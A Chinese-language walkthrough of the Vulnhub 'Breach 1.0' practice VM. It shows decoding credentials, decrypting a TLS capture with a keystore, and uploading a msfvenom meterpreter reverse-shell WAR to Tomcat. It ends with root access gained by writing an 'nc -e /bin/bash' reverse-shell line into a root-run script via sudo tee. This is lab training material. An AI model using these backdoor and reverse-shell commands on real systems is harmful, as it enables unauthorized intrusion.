• Vulnhub实战靶场:Breach 1.0


    一、环境搭建

    1、官网下载链接:https://www.vulnhub.com/entry/breach-1,152/

    2、下载下载之后,使用Oracle VM VirtualBox,导入环境

    3、启动虚拟机,因为靶场虚机配置有静态IP地址(192.168110 140),需要将虚拟机网卡设置为host-only仅主机的方式。为了方便练习,我将kali攻击机,添加了一块虚拟网卡,第二块网卡设置的网段跟虚拟机同一网段。

    kali虚拟机网络

    二、攻略步骤

    1、因为知道了靶场环境的ip地址,所以可以直接使用nmap扫描端口,查询突破口,但是扫描之后发现端口全是打开的,显然是做了防端口扫描

    2、根据靶场规律,直接访问ip地址,发现有http服务

    3、查看首页源码,发现有一串Base64加密的字符串

    base64编码后的字符串的长度一定会被4整除,包括用作后缀的等号吧;如果明文字符数不能被3整除,余1时,1个字符转为2个,补2个等号,共4个字符;余2时,2个字符转为3个字符,补1个等号,共4个字符;其实归根结底就是一句话:经过base64编码后的字符串长度一定会被4整除(包括后缀等号)
    1)标准base64只有64个字符(英文大小写、数字和+、/)以及用作后缀等号;
    2)base64是把3个字节变成4个可打印字符,所以base64编码后的字符串一定能被4整除(不算用作后缀的等号);
    3)等号一定用作后缀,且数目一定是0个、1个或2个。这是因为如果原文长度不能被3整除,base64要在后面添加凑齐3n位。为了正确还原,添加了几个就加上几个等号。显然添加等号的数目只能是0、1或2;
    4)严格来说base64不能算是一种加密,只能说是编码转换。使用base64的初衷。是为了方便把含有不可见字符串的信息用可见字符串表示出来,以便复制粘贴;

    4、使用命令 echo Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo | base64 -d,解密

     

    解密之后,还是一串base64的字符,再次解密,得到一串明文字符:pgibbons:damnitfeel$goodtobeagang$ta,暂时不知道作用,记下来

    5、源码里有个地址,点开访问,发现另外的页面

     

    6、打开Employee portal,进入到impresscms的登录界面

     

    7、使用之前base64节解密出来的账号密码登录成功

    8、使用命令,searchsploit impresscms,找到impresscms的/modules/profile/admin/field.php文件存在SQL注入漏洞,想要利用,但是发现没有权限访问该文件

     

    9、看到有3个邮件消息,看是否有提示信息

    第1封邮件,主要内容:让你的团队只能向管理门户发布任何敏感的内容。我的密码非常安全,发自ImpressCMS Admin Bill,如下:

    image.png

    第2封邮件,主要内容:Michael采购了IDS/IPS。

    image.png

    第3封邮件,主要内容:有一个peter的SSL证书被保存在192.168.110.140/.keystore

    image.png

    10、根据邮件提示,到下载包含SSL证书的密钥库keystore文件,keystore是存储公私密钥的一种文件格式,下载下来保存好

     

    11、在左侧菜单一个个点开,发现目录列表,但是找不到可以利用的文件

    12、点击View Account菜单进入界面,再依次点击页面的Content,会弹出一行链接Content SSL implementation test capture,点击链接,如下图:

    image.png

     13、点开提示的,http://192.168.110.140/impresscms/modules/content/content.php?content_id=1,发现一个流量包文件,下载下来

     

    14、该页面有重要的提示信息:这个pCAP文件是有红色团队的重新攻击产生的,但是不能读取文件。而且They told me the alias, storepassword and keypassword are all set to 'tomcat'别名、Keystore密码、key密码都设置成tomcat。由此推测:1)这是一个流量包文件,不能读取很可能因为某些流量有SSL加密(前面的邮件中提供了一个keystore,这里提供了密码;2)系统中可能存在tomcat。

    15、接下来要使用keytool生成ssl加密证书

    在下载了keystore文件的目录中打开终端,输入命令:keytool -list -keystore keystore,输入口令tomcat,查看keystore密钥库中的证书

    接下来,从密钥库导出.p12证书,将keystore拷贝到keytool目录,导出名为:tomcatkeystore.p12的证书,输入命令:keytool -importkeystore -srckeystore keystore  -destkeystore tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat

     

    16、将生成的tomcatkeystore.p12证书,导入wireshark

    1)使用wireshark打开下载的_SSL_test_phase1.pcap文件

    2)点击编辑--首选项--Protocols--TLS,点击Edit编辑,IPaddress填写192.168.110.140,Port填写8443,Protocol填写http,Key File选择生成的tomcatkeystore.p12文件,Password填写tomcat

    3)编辑好之后,看到下边TlsV1.2加密的部分,发现有疑似图片马,命令执行的数据包

    17、分析浏览量数据包,发现一个Unauthorized的认证包,该request和response包含了Tomcat后台的登录地址:https://192.168.110.140:8443/_M@nag3Me/html

    发现包含登录用户名密码的数据包, 采用http basic认证,认证数据包为:Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC,展开,看到明文的账号密码,用户名:tomcat,密码:Tt5D8F(#!*u=G)4m7zB

    18、利用获取到的信息来getshell,首先登录tomcat后台

    1)访问https://192.168.110.140:8443/_M@nag3Me/html,发现提示建立连接失败

     2)打开Burpsuite,使用BP进行代理,将BP的代理模式关闭,让数据包自动放行,再次访问,出现的界面就不相同了,选择接受风险,出现tomcat登录窗口,输入之前得到的账号密码,登录成功

     

     19、使用msfvenom生成后门文件,输入命令:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.110.122 LPORT=1234 -f jsp -o shell.jsp

    将shell.jsp进行压缩,输入命令:zip -r shell.zip shell.jsp

     

    将shell.zip转化成war格式,用来上传到tomcat,输入命令:cp shell.zip shell.war

     

    20、启动msfconsole,设置监听

    输入命令: use exploit/multi/handler,进入监听要利用的exp

    输入命令:set payload linux/x64/meterpreter/reverse_tcp,设置执行生成脚本使用的payload

    输入命令:set lhost,设置生成后门时候设置的ip地址

    输入命令:set lport,设置生成后门时候设置的监听端口

    输入命令:run,开始监听

    21、在tomcat管理界面,将生成是shell.war后门上传

    上传之后,点击上传的源码,访问到生成的后门文件路径

    访问https://192.168.110.140:8443/shell/shell.jsp,在msf下顺利拿到shell

     

     

    22、执行命令,python -c 'import pty;pty.spawn("/bin/sh")' 得到一个交互式的shell

    23、开始收集靶机内信息,想办法提权,看到两个值得关注的账户

    在/var/www/5446目录下,看到两个文件名很特殊的文件

     

    查看文件,发现是mysql的数据库连接文件,使用的root账户,不需要密码

    24、输入命令,mysql  -u root -p ,进入mysql,提示输入密码,直接回车,成功连接进入mysql数据库,查看账号密码,得到milton账户的密码哈希,解密为:thelaststraw

     

    25、退出mysql,使用命令,su milton,输入密码,成功登录milton账户

    26、账户milton目录下,发现的some_script.sh脚本,没有可利用的地方

    26、查看系统内核,uname -a,得知内核版本为Linux Breach 4.2.0-27-generic 

    查看历史命令,发现有切换到blumbergh这个账户的操作,操作之后有切换到root的操作,所以可能提权要进入到blumbergh这个账户

    27、继续收集信息,http://192.168.110.140/images/,目录下找到6张图片,milton用户目录下,发现1张图片

    28、使用exiftool工具,查看图片,输入命令:exiftool bill.png ,发现密码:coffeestains

    29、切换到blumbergh账户,输入之前图片中得到的密码,切换成功

    进入blumbergh目录下,查看blumbergh账户的历史命令,发现/usr/share/cleanup目录下的,tidyup.sh脚本文件

     

     一样进入目录,查看脚本,为root账户才能读写的,用来清理删除webapps目录下的文件的脚本

    30、输入命令:sudo -l,查看能够root权限执行的命令有tee

    31、进行最后一步的提权

    tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,使用bash反弹shell命令没有成功,于是使用nc命令反弹shell成功,所以写nc反弹命令:

    cd /home/blumbergh,切换到blumbergh的家目录中,

    echo "nc -e /bin/bash 192.168.110.122 2345" > shell.txt,将nc执行的反弹shell命令,写入到shell.txt文件

    cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh,使用tee命令将shell.txt内容输出到tidyup.sh

    查看tidyup.sh文件写入成功:

    32、kali攻击机中,输入命令:nc -lvvp 2345,监听2345端口的动静,等到一段时间,成功接到root的shell

    33、查看/root目录下,有个flair.jpg的文件,应该是最后的flag,将文件再次复制到/var/www/html/images中,查看图片,成功得到flag

     完

  • 相关阅读:
    【WIN10】我的第一個WIN10-UWP應用——古文觀止
    【WIN10】文本圖標
    【WIN10】VisualStateManager使用說明
    【WIN10】Storyboard動畫板
    【WIN10】Bind、Binding與Converter的使用
    struts执行过程
    在jsp中的局部和全局变量
    jsp页面中的:<%@ page contentType="text/html; charset=utf-8" language="java"%>的作用及含义
    jsp中的this
    在Java接口中怎样访问定义的常量呢?
  • 原文地址:https://www.cnblogs.com/sym945/p/13604758.html
Copyright © 2020-2023  润新知